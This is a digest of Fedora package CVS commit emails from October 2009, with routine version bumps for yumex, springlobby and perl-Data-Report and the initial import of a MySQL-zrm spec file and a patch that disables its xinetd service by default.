+++ .cvsignore	11 Oct 2009 08:28:41 -0000	1.45
@@ -1 +1 @@
-yumex-2.9.2.tar.gz
+yumex-2.9.3.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/yumex/devel/sources,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- sources	30 Sep 2009 13:21:14 -0000	1.63
+++ sources	11 Oct 2009 08:28:41 -0000	1.64
@@ -1 +1 @@
-1f8e57ab09c54611945c5d0fea476d82  yumex-2.9.2.tar.gz
+c029a91e507d2e1ff16e5d1ad13ff742  yumex-2.9.3.tar.gz


Index: yumex.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yumex/devel/yumex.spec,v
retrieving revision 1.76
retrieving revision 1.77
diff -u -p -r1.76 -r1.77
--- yumex.spec	30 Sep 2009 13:21:14 -0000	1.76
+++ yumex.spec	11 Oct 2009 08:28:41 -0000	1.77
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:     yumex
-Version:  2.9.2
+Version:  2.9.3
 Release:  1%{?dist}
 Summary:  Yum Extender graphical package management tool
 


--- fix-python26-syntax-errors.patch DELETED ---



From timlau at fedoraproject.org  Sun Oct 11 08:52:52 2009
From: timlau at fedoraproject.org (Tim Lauridsen)
Date: Sun, 11 Oct 2009 08:52:52 +0000 (UTC)
Subject: rpms/yumex/F-12 sources, 1.63, 1.64 yumex.spec, 1.76,
	1.77 fix-python26-syntax-errors.patch, 1.1, NONE
Message-ID: <20091011085252.883DC11C00EC@cvs1.fedora.phx.redhat.com>

Author: timlau

Update of /cvs/pkgs/rpms/yumex/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26441

Modified Files:
	sources yumex.spec 
Removed Files:
	fix-python26-syntax-errors.patch 
Log Message:
Release 2.9.3


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/yumex/F-12/sources,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- sources	30 Sep 2009 16:07:17 -0000	1.63
+++ sources	11 Oct 2009 08:52:52 -0000	1.64
@@ -1 +1 @@
-1f8e57ab09c54611945c5d0fea476d82  yumex-2.9.2.tar.gz
+c029a91e507d2e1ff16e5d1ad13ff742  yumex-2.9.3.tar.gz


Index: yumex.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yumex/F-12/yumex.spec,v
retrieving revision 1.76
retrieving revision 1.77
diff -u -p -r1.76 -r1.77
--- yumex.spec	30 Sep 2009 16:07:17 -0000	1.76
+++ yumex.spec	11 Oct 2009 08:52:52 -0000	1.77
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:     yumex
-Version:  2.9.2
+Version:  2.9.3
 Release:  1%{?dist}
 Summary:  Yum Extender graphical package management tool
 


--- fix-python26-syntax-errors.patch DELETED ---



From abompard at fedoraproject.org  Sun Oct 11 08:56:06 2009
From: abompard at fedoraproject.org (Aurelien Bompard)
Date: Sun, 11 Oct 2009 08:56:06 +0000 (UTC)
Subject: rpms/springlobby/F-12 .cvsignore, 1.8, 1.9 sources, 1.8,
	1.9 springlobby.spec, 1.14, 1.15
Message-ID: <20091011085606.75FB111C00EC@cvs1.fedora.phx.redhat.com>

Author: abompard

Update of /cvs/pkgs/rpms/springlobby/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27179/F-12

Modified Files:
	.cvsignore sources springlobby.spec 
Log Message:
* Sun Oct 11 2009 Aurelien Bompard <abompard at fedoraproject.org> -  0.27-1
- version 0.27 



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/springlobby/F-12/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	14 Sep 2009 17:11:24 -0000	1.8
+++ .cvsignore	11 Oct 2009 08:56:05 -0000	1.9
@@ -1 +1 @@
-springlobby-0.23.tar.bz2
+springlobby-0.27.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/springlobby/F-12/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	14 Sep 2009 17:11:24 -0000	1.8
+++ sources	11 Oct 2009 08:56:05 -0000	1.9
@@ -1 +1 @@
-f11e08920496e07702c0b21549c7afd1  springlobby-0.23.tar.bz2
+ccde4a507b6b1f7f7f9eeaa40f542fef  springlobby-0.27.tar.bz2


Index: springlobby.spec
===================================================================
RCS file: /cvs/pkgs/rpms/springlobby/F-12/springlobby.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- springlobby.spec	14 Sep 2009 17:11:25 -0000	1.14
+++ springlobby.spec	11 Oct 2009 08:56:05 -0000	1.15
@@ -1,5 +1,5 @@
 Name:           springlobby
-Version:        0.23
+Version:        0.27
 Release:        1%{?dist}
 Summary:        A lobby client for the spring RTS game engine
 
@@ -88,6 +88,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Aurelien Bompard <abompard at fedoraproject.org> -  0.27-1
+- version 0.27 
+
 * Mon Sep 14 2009 Aurelien Bompard <abompard at fedoraproject.org> -  0.23-1
 - version 0.23
 



From abompard at fedoraproject.org  Sun Oct 11 08:56:06 2009
From: abompard at fedoraproject.org (Aurelien Bompard)
Date: Sun, 11 Oct 2009 08:56:06 +0000 (UTC)
Subject: rpms/springlobby/F-11 .cvsignore, 1.8, 1.9 sources, 1.8,
	1.9 springlobby.spec, 1.12, 1.13
Message-ID: <20091011085606.79DE211C0260@cvs1.fedora.phx.redhat.com>

Author: abompard

Update of /cvs/pkgs/rpms/springlobby/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27179/F-11

Modified Files:
	.cvsignore sources springlobby.spec 
Log Message:
* Sun Oct 11 2009 Aurelien Bompard <abompard at fedoraproject.org> -  0.27-1
- version 0.27 



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/springlobby/F-11/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	14 Sep 2009 17:11:24 -0000	1.8
+++ .cvsignore	11 Oct 2009 08:56:04 -0000	1.9
@@ -1 +1 @@
-springlobby-0.23.tar.bz2
+springlobby-0.27.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/springlobby/F-11/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	14 Sep 2009 17:11:24 -0000	1.8
+++ sources	11 Oct 2009 08:56:04 -0000	1.9
@@ -1 +1 @@
-f11e08920496e07702c0b21549c7afd1  springlobby-0.23.tar.bz2
+ccde4a507b6b1f7f7f9eeaa40f542fef  springlobby-0.27.tar.bz2


Index: springlobby.spec
===================================================================
RCS file: /cvs/pkgs/rpms/springlobby/F-11/springlobby.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- springlobby.spec	14 Sep 2009 17:11:24 -0000	1.12
+++ springlobby.spec	11 Oct 2009 08:56:04 -0000	1.13
@@ -1,5 +1,5 @@
 Name:           springlobby
-Version:        0.23
+Version:        0.27
 Release:        1%{?dist}
 Summary:        A lobby client for the spring RTS game engine
 
@@ -88,6 +88,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Aurelien Bompard <abompard at fedoraproject.org> -  0.27-1
+- version 0.27 
+
 * Mon Sep 14 2009 Aurelien Bompard <abompard at fedoraproject.org> -  0.23-1
 - version 0.23
 



From abompard at fedoraproject.org  Sun Oct 11 08:56:06 2009
From: abompard at fedoraproject.org (Aurelien Bompard)
Date: Sun, 11 Oct 2009 08:56:06 +0000 (UTC)
Subject: rpms/springlobby/devel .cvsignore, 1.8, 1.9 sources, 1.8,
	1.9 springlobby.spec, 1.14, 1.15
Message-ID: <20091011085606.B7CB911C0265@cvs1.fedora.phx.redhat.com>

Author: abompard

Update of /cvs/pkgs/rpms/springlobby/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27179/devel

Modified Files:
	.cvsignore sources springlobby.spec 
Log Message:
* Sun Oct 11 2009 Aurelien Bompard <abompard at fedoraproject.org> -  0.27-1
- version 0.27 



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/springlobby/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	14 Sep 2009 17:11:24 -0000	1.8
+++ .cvsignore	11 Oct 2009 08:56:06 -0000	1.9
@@ -1 +1 @@
-springlobby-0.23.tar.bz2
+springlobby-0.27.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/springlobby/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	14 Sep 2009 17:11:24 -0000	1.8
+++ sources	11 Oct 2009 08:56:06 -0000	1.9
@@ -1 +1 @@
-f11e08920496e07702c0b21549c7afd1  springlobby-0.23.tar.bz2
+ccde4a507b6b1f7f7f9eeaa40f542fef  springlobby-0.27.tar.bz2


Index: springlobby.spec
===================================================================
RCS file: /cvs/pkgs/rpms/springlobby/devel/springlobby.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- springlobby.spec	14 Sep 2009 17:11:25 -0000	1.14
+++ springlobby.spec	11 Oct 2009 08:56:06 -0000	1.15
@@ -1,5 +1,5 @@
 Name:           springlobby
-Version:        0.23
+Version:        0.27
 Release:        1%{?dist}
 Summary:        A lobby client for the spring RTS game engine
 
@@ -88,6 +88,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Aurelien Bompard <abompard at fedoraproject.org> -  0.27-1
+- version 0.27 
+
 * Mon Sep 14 2009 Aurelien Bompard <abompard at fedoraproject.org> -  0.23-1
 - version 0.23
 



From ksyz at fedoraproject.org  Sun Oct 11 09:45:11 2009
From: ksyz at fedoraproject.org (ksyz)
Date: Sun, 11 Oct 2009 09:45:11 +0000 (UTC)
Subject: rpms/MySQL-zrm/F-12 MySQL-zrm-disable-xinetd-service.patch, NONE,
	1.1 MySQL-zrm.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091011094511.C21C311C00EC@cvs1.fedora.phx.redhat.com>

Author: ksyz

Update of /cvs/pkgs/rpms/MySQL-zrm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9773/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	MySQL-zrm-disable-xinetd-service.patch MySQL-zrm.spec 
	import.log 
Log Message:
Initial import.



MySQL-zrm-disable-xinetd-service.patch:
 mysql-zrm-socket-server |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE MySQL-zrm-disable-xinetd-service.patch ---
--- MySQL-zrm-2.1.1/etc/xinetd.d/mysql-zrm-socket-server.orig	2009-10-09 12:46:24.000000000 +0200
+++ MySQL-zrm-2.1.1/etc/xinetd.d/mysql-zrm-socket-server	2009-10-09 12:47:05.000000000 +0200
@@ -24,7 +24,7 @@
 service mysql-zrm-socket-server
 {
 	type		= UNLISTED
-	disable         = no
+	disable         = yes
 	socket_type     = stream
 	protocol        = tcp
 	wait            = no


--- NEW FILE MySQL-zrm.spec ---
Name:		MySQL-zrm
Version:	2.1.1
Release:	4%{?dist}
Summary:	MySQL backup manager

Group:		Applications/System
License:	GPLv2
URL:		http://www.zmanda.com/backup-mysql.html
Source0:	http://www.zmanda.com/downloads/community/ZRM-MySQL/%{version}/Source/MySQL-zrm-%{version}.tar.gz

Patch0:		MySQL-zrm-disable-xinetd-service.patch

BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch:	noarch

Requires:	xinetd
Requires:	logrotate
Requires:	perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
Requires:	perl(DBI)
Requires:	perl(XML::Parser)
Requires:	perl(Data::Report) >= 0.05 
Requires:	perl(Data::Report::Plugin::Html) 
Requires:	perl(Data::Report::Plugin::Text) 

%description
Easy-to-use yet flexible and robust backup and recovery solution for MySQL 
server.

%prep
%setup -q
%patch0 -p1

%build
# we should use modules from repo
rm -rf usr/lib/mysql-zrm/Data
rm -rf usr/lib/mysql-zrm/XML

# get rid of zero-length files
rm -rf var/log/mysql-zrm/*

%install
rm -rf %{buildroot}
mkdir %{buildroot}

mkdir -p %{buildroot}/%{perl_vendorlib}/
mkdir -p %{buildroot}/%{_mandir}/man1/
mkdir -p %{buildroot}/%{_mandir}/man5/
mkdir -p %{buildroot}/%{_sharedstatedir}/
mkdir -p %{buildroot}/%{_var}/log/
mkdir -p %{buildroot}/%{_datarootdir}/
mkdir -p %{buildroot}/%{_bindir}/
mkdir -p %{buildroot}/%{_sysconfdir}/xinetd.d/
mkdir -p %{buildroot}/%{_sysconfdir}/logrotate.d/
mkdir -p %{buildroot}/%{_sysconfdir}/mysql-zrm/

# install ourselves in correct locations
cp -rp usr/lib/mysql-zrm/ZRM			%{buildroot}/%{perl_vendorlib}
cp -rp usr/share/man/man1/*			%{buildroot}/%{_mandir}/man1/
cp -rp usr/share/man/man5/*			%{buildroot}/%{_mandir}/man5/
cp -rp var/lib/*				%{buildroot}/%{_sharedstatedir}
cp -rp var/log/*				%{buildroot}/%{_var}/log/
cp -rp usr/share/*				%{buildroot}/%{_datarootdir}/
cp -rp usr/bin/*				%{buildroot}/%{_bindir}/
cp -rp etc/mysql-zrm				%{buildroot}/%{_sysconfdir}/
cp -rp etc/xinetd.d/mysql-zrm-socket-server	%{buildroot}/%{_sysconfdir}/xinetd.d/
# name logrotate job as package name
cp -rp etc/logrotate.d/mysql-zrm		%{buildroot}/%{_sysconfdir}/logrotate.d/%{name}

%clean
rm -rf %{buildroot}


%files
%defattr(0644,root,root,0755)

%attr(-,mysql,mysql) %dir %{_var}/log/mysql-zrm
%dir %{_sharedstatedir}/mysql-zrm
%dir %{_sysconfdir}/mysql-zrm/
%{_datadir}/mysql-zrm/plugins/*.smf
%attr(0755,root,root) %{_datadir}/mysql-zrm/plugins/*.pl
%attr(0755,root,root) %{_bindir}/*
%{perl_vendorlib}/ZRM

%doc %{_mandir}/man1/*
%doc %{_mandir}/man5/*
%doc usr/share/doc/*

%config(noreplace) %{_sysconfdir}/xinetd.d/mysql-zrm-socket-server
%config(noreplace) %{_sysconfdir}/logrotate.d/%{name}
%config(noreplace) %{_sysconfdir}/mysql-zrm/*


%changelog
* Fri Oct 9 2009 <mi at v3.sk> - 2.1.1-4
- Removed uneeded dependencies
- Replaced /var/lib with macro

* Fri Oct 9 2009 <mi at v3.sk> - 2.1.1-3
- Removed repeated file attr-s
- Disabled mysql-zrm-socket-server by default
- Changed owner of our /var/log/* to mysql:mysql
- Corrected documentation handling

* Wed Oct 7 2009 <mi at v3.sk> - 2.1.1-2
- corrected license
- minnor changes

* Fri Oct 2 2009 <mi at v3.sk> - 2.1.1-1
- Initial packaging


--- NEW FILE import.log ---
MySQL-zrm-2_1_1-4_fc11:F-12:MySQL-zrm-2.1.1-4.fc11.src.rpm:1255254236


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/MySQL-zrm/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:07:24 -0000	1.1
+++ .cvsignore	11 Oct 2009 09:45:09 -0000	1.2
@@ -0,0 +1 @@
+MySQL-zrm-2.1.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/MySQL-zrm/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:07:24 -0000	1.1
+++ sources	11 Oct 2009 09:45:09 -0000	1.2
@@ -0,0 +1 @@
+6f7d21a95aa65e9c57cc8c771e573174  MySQL-zrm-2.1.1.tar.gz



From ksyz at fedoraproject.org  Sun Oct 11 09:57:04 2009
From: ksyz at fedoraproject.org (ksyz)
Date: Sun, 11 Oct 2009 09:57:04 +0000 (UTC)
Subject: rpms/MySQL-zrm/devel MySQL-zrm-disable-xinetd-service.patch, NONE, 
	1.1 MySQL-zrm.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091011095704.B108F11C00EC@cvs1.fedora.phx.redhat.com>

Author: ksyz

Update of /cvs/pkgs/rpms/MySQL-zrm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13021/devel

Modified Files:
	.cvsignore sources 
Added Files:
	MySQL-zrm-disable-xinetd-service.patch MySQL-zrm.spec 
	import.log 
Log Message:
Initial import.



MySQL-zrm-disable-xinetd-service.patch:
 mysql-zrm-socket-server |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE MySQL-zrm-disable-xinetd-service.patch ---
--- MySQL-zrm-2.1.1/etc/xinetd.d/mysql-zrm-socket-server.orig	2009-10-09 12:46:24.000000000 +0200
+++ MySQL-zrm-2.1.1/etc/xinetd.d/mysql-zrm-socket-server	2009-10-09 12:47:05.000000000 +0200
@@ -24,7 +24,7 @@
 service mysql-zrm-socket-server
 {
 	type		= UNLISTED
-	disable         = no
+	disable         = yes
 	socket_type     = stream
 	protocol        = tcp
 	wait            = no


--- NEW FILE MySQL-zrm.spec ---
Name:		MySQL-zrm
Version:	2.1.1
Release:	4%{?dist}
Summary:	MySQL backup manager

Group:		Applications/System
License:	GPLv2
URL:		http://www.zmanda.com/backup-mysql.html
Source0:	http://www.zmanda.com/downloads/community/ZRM-MySQL/%{version}/Source/MySQL-zrm-%{version}.tar.gz

Patch0:		MySQL-zrm-disable-xinetd-service.patch

BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch:	noarch

Requires:	xinetd
Requires:	logrotate
Requires:	perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
Requires:	perl(DBI)
Requires:	perl(XML::Parser)
Requires:	perl(Data::Report) >= 0.05 
Requires:	perl(Data::Report::Plugin::Html) 
Requires:	perl(Data::Report::Plugin::Text) 

%description
Easy-to-use yet flexible and robust backup and recovery solution for MySQL 
server.

%prep
%setup -q
%patch0 -p1

%build
# we should use modules from repo
rm -rf usr/lib/mysql-zrm/Data
rm -rf usr/lib/mysql-zrm/XML

# get rid of zero-length files
rm -rf var/log/mysql-zrm/*

%install
rm -rf %{buildroot}
mkdir %{buildroot}

mkdir -p %{buildroot}/%{perl_vendorlib}/
mkdir -p %{buildroot}/%{_mandir}/man1/
mkdir -p %{buildroot}/%{_mandir}/man5/
mkdir -p %{buildroot}/%{_sharedstatedir}/
mkdir -p %{buildroot}/%{_var}/log/
mkdir -p %{buildroot}/%{_datarootdir}/
mkdir -p %{buildroot}/%{_bindir}/
mkdir -p %{buildroot}/%{_sysconfdir}/xinetd.d/
mkdir -p %{buildroot}/%{_sysconfdir}/logrotate.d/
mkdir -p %{buildroot}/%{_sysconfdir}/mysql-zrm/

# install ourselves in correct locations
cp -rp usr/lib/mysql-zrm/ZRM			%{buildroot}/%{perl_vendorlib}
cp -rp usr/share/man/man1/*			%{buildroot}/%{_mandir}/man1/
cp -rp usr/share/man/man5/*			%{buildroot}/%{_mandir}/man5/
cp -rp var/lib/*				%{buildroot}/%{_sharedstatedir}
cp -rp var/log/*				%{buildroot}/%{_var}/log/
cp -rp usr/share/*				%{buildroot}/%{_datarootdir}/
cp -rp usr/bin/*				%{buildroot}/%{_bindir}/
cp -rp etc/mysql-zrm				%{buildroot}/%{_sysconfdir}/
cp -rp etc/xinetd.d/mysql-zrm-socket-server	%{buildroot}/%{_sysconfdir}/xinetd.d/
# name logrotate job as package name
cp -rp etc/logrotate.d/mysql-zrm		%{buildroot}/%{_sysconfdir}/logrotate.d/%{name}

%clean
rm -rf %{buildroot}


%files
%defattr(0644,root,root,0755)

%attr(-,mysql,mysql) %dir %{_var}/log/mysql-zrm
%dir %{_sharedstatedir}/mysql-zrm
%dir %{_sysconfdir}/mysql-zrm/
%{_datadir}/mysql-zrm/plugins/*.smf
%attr(0755,root,root) %{_datadir}/mysql-zrm/plugins/*.pl
%attr(0755,root,root) %{_bindir}/*
%{perl_vendorlib}/ZRM

%doc %{_mandir}/man1/*
%doc %{_mandir}/man5/*
%doc usr/share/doc/*

%config(noreplace) %{_sysconfdir}/xinetd.d/mysql-zrm-socket-server
%config(noreplace) %{_sysconfdir}/logrotate.d/%{name}
%config(noreplace) %{_sysconfdir}/mysql-zrm/*


%changelog
* Fri Oct 9 2009 <mi at v3.sk> - 2.1.1-4
- Removed uneeded dependencies
- Replaced /var/lib with macro

* Fri Oct 9 2009 <mi at v3.sk> - 2.1.1-3
- Removed repeated file attr-s
- Disabled mysql-zrm-socket-server by default
- Changed owner of our /var/log/* to mysql:mysql
- Corrected documentation handling

* Wed Oct 7 2009 <mi at v3.sk> - 2.1.1-2
- corrected license
- minnor changes

* Fri Oct 2 2009 <mi at v3.sk> - 2.1.1-1
- Initial packaging


--- NEW FILE import.log ---
MySQL-zrm-2_1_1-4_fc11:HEAD:MySQL-zrm-2.1.1-4.fc11.src.rpm:1255254383


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/MySQL-zrm/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:07:24 -0000	1.1
+++ .cvsignore	11 Oct 2009 09:57:04 -0000	1.2
@@ -0,0 +1 @@
+MySQL-zrm-2.1.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/MySQL-zrm/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:07:24 -0000	1.1
+++ sources	11 Oct 2009 09:57:04 -0000	1.2
@@ -0,0 +1 @@
+6f7d21a95aa65e9c57cc8c771e573174  MySQL-zrm-2.1.1.tar.gz



From ksyz at fedoraproject.org  Sun Oct 11 09:57:11 2009
From: ksyz at fedoraproject.org (ksyz)
Date: Sun, 11 Oct 2009 09:57:11 +0000 (UTC)
Subject: rpms/MySQL-zrm/EL-5 MySQL-zrm-disable-xinetd-service.patch, NONE,
	1.1 MySQL-zrm.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091011095711.E821C11C00EC@cvs1.fedora.phx.redhat.com>

Author: ksyz

Update of /cvs/pkgs/rpms/MySQL-zrm/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12989/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	MySQL-zrm-disable-xinetd-service.patch MySQL-zrm.spec 
	import.log 
Log Message:
Initial import.



MySQL-zrm-disable-xinetd-service.patch:
 mysql-zrm-socket-server |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE MySQL-zrm-disable-xinetd-service.patch ---
--- MySQL-zrm-2.1.1/etc/xinetd.d/mysql-zrm-socket-server.orig	2009-10-09 12:46:24.000000000 +0200
+++ MySQL-zrm-2.1.1/etc/xinetd.d/mysql-zrm-socket-server	2009-10-09 12:47:05.000000000 +0200
@@ -24,7 +24,7 @@
 service mysql-zrm-socket-server
 {
 	type		= UNLISTED
-	disable         = no
+	disable         = yes
 	socket_type     = stream
 	protocol        = tcp
 	wait            = no


--- NEW FILE MySQL-zrm.spec ---
Name:		MySQL-zrm
Version:	2.1.1
Release:	4%{?dist}
Summary:	MySQL backup manager

Group:		Applications/System
License:	GPLv2
URL:		http://www.zmanda.com/backup-mysql.html
Source0:	http://www.zmanda.com/downloads/community/ZRM-MySQL/%{version}/Source/MySQL-zrm-%{version}.tar.gz

Patch0:		MySQL-zrm-disable-xinetd-service.patch

BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildArch:	noarch

Requires:	xinetd
Requires:	logrotate
Requires:	perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
Requires:	perl(DBI)
Requires:	perl(XML::Parser)
Requires:	perl(Data::Report) >= 0.05 
Requires:	perl(Data::Report::Plugin::Html) 
Requires:	perl(Data::Report::Plugin::Text) 

%description
Easy-to-use yet flexible and robust backup and recovery solution for MySQL 
server.

%prep
%setup -q
%patch0 -p1

%build
# we should use modules from repo
rm -rf usr/lib/mysql-zrm/Data
rm -rf usr/lib/mysql-zrm/XML

# get rid of zero-length files
rm -rf var/log/mysql-zrm/*

%install
rm -rf %{buildroot}
mkdir %{buildroot}

mkdir -p %{buildroot}/%{perl_vendorlib}/
mkdir -p %{buildroot}/%{_mandir}/man1/
mkdir -p %{buildroot}/%{_mandir}/man5/
mkdir -p %{buildroot}/%{_sharedstatedir}/
mkdir -p %{buildroot}/%{_var}/log/
mkdir -p %{buildroot}/%{_datarootdir}/
mkdir -p %{buildroot}/%{_bindir}/
mkdir -p %{buildroot}/%{_sysconfdir}/xinetd.d/
mkdir -p %{buildroot}/%{_sysconfdir}/logrotate.d/
mkdir -p %{buildroot}/%{_sysconfdir}/mysql-zrm/

# install ourselves in correct locations
cp -rp usr/lib/mysql-zrm/ZRM			%{buildroot}/%{perl_vendorlib}
cp -rp usr/share/man/man1/*			%{buildroot}/%{_mandir}/man1/
cp -rp usr/share/man/man5/*			%{buildroot}/%{_mandir}/man5/
cp -rp var/lib/*				%{buildroot}/%{_sharedstatedir}
cp -rp var/log/*				%{buildroot}/%{_var}/log/
cp -rp usr/share/*				%{buildroot}/%{_datarootdir}/
cp -rp usr/bin/*				%{buildroot}/%{_bindir}/
cp -rp etc/mysql-zrm				%{buildroot}/%{_sysconfdir}/
cp -rp etc/xinetd.d/mysql-zrm-socket-server	%{buildroot}/%{_sysconfdir}/xinetd.d/
# name logrotate job as package name
cp -rp etc/logrotate.d/mysql-zrm		%{buildroot}/%{_sysconfdir}/logrotate.d/%{name}

%clean
rm -rf %{buildroot}


%files
%defattr(0644,root,root,0755)

%attr(-,mysql,mysql) %dir %{_var}/log/mysql-zrm
%dir %{_sharedstatedir}/mysql-zrm
%dir %{_sysconfdir}/mysql-zrm/
%{_datadir}/mysql-zrm/plugins/*.smf
%attr(0755,root,root) %{_datadir}/mysql-zrm/plugins/*.pl
%attr(0755,root,root) %{_bindir}/*
%{perl_vendorlib}/ZRM

%doc %{_mandir}/man1/*
%doc %{_mandir}/man5/*
%doc usr/share/doc/*

%config(noreplace) %{_sysconfdir}/xinetd.d/mysql-zrm-socket-server
%config(noreplace) %{_sysconfdir}/logrotate.d/%{name}
%config(noreplace) %{_sysconfdir}/mysql-zrm/*


%changelog
* Fri Oct 9 2009 <mi at v3.sk> - 2.1.1-4
- Removed uneeded dependencies
- Replaced /var/lib with macro

* Fri Oct 9 2009 <mi at v3.sk> - 2.1.1-3
- Removed repeated file attr-s
- Disabled mysql-zrm-socket-server by default
- Changed owner of our /var/log/* to mysql:mysql
- Corrected documentation handling

* Wed Oct 7 2009 <mi at v3.sk> - 2.1.1-2
- corrected license
- minnor changes

* Fri Oct 2 2009 <mi at v3.sk> - 2.1.1-1
- Initial packaging


--- NEW FILE import.log ---
MySQL-zrm-2_1_1-4_fc11:EL-5:MySQL-zrm-2.1.1-4.fc11.src.rpm:1255254411


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/MySQL-zrm/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:07:24 -0000	1.1
+++ .cvsignore	11 Oct 2009 09:57:11 -0000	1.2
@@ -0,0 +1 @@
+MySQL-zrm-2.1.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/MySQL-zrm/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:07:24 -0000	1.1
+++ sources	11 Oct 2009 09:57:11 -0000	1.2
@@ -0,0 +1 @@
+6f7d21a95aa65e9c57cc8c771e573174  MySQL-zrm-2.1.1.tar.gz



From sciurius at fedoraproject.org  Sun Oct 11 10:25:38 2009
From: sciurius at fedoraproject.org (Johan Vromans)
Date: Sun, 11 Oct 2009 10:25:38 +0000 (UTC)
Subject: rpms/perl-Data-Report/devel perl-Data-Report.spec, 1.2,
	1.3 perl-Data-Report-0.10-csv.patch, 1.1, NONE
Message-ID: <20091011102538.2EDB011C00EC@cvs1.fedora.phx.redhat.com>

Author: sciurius

Update of /cvs/pkgs/rpms/perl-Data-Report/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20912/devel

Modified Files:
	perl-Data-Report.spec 
Removed Files:
	perl-Data-Report-0.10-csv.patch 
Log Message:
Remove Text::CSV_XS kludge since Text::CSV is now packaged.



Index: perl-Data-Report.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Data-Report/devel/perl-Data-Report.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- perl-Data-Report.spec	26 Jul 2009 05:30:25 -0000	1.2
+++ perl-Data-Report.spec	11 Oct 2009 10:25:37 -0000	1.3
@@ -1,16 +1,15 @@
 Name:		perl-Data-Report
 Version:	0.10
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:	A flexible plugin-driven reporting framework
 
 Group:		Development/Libraries
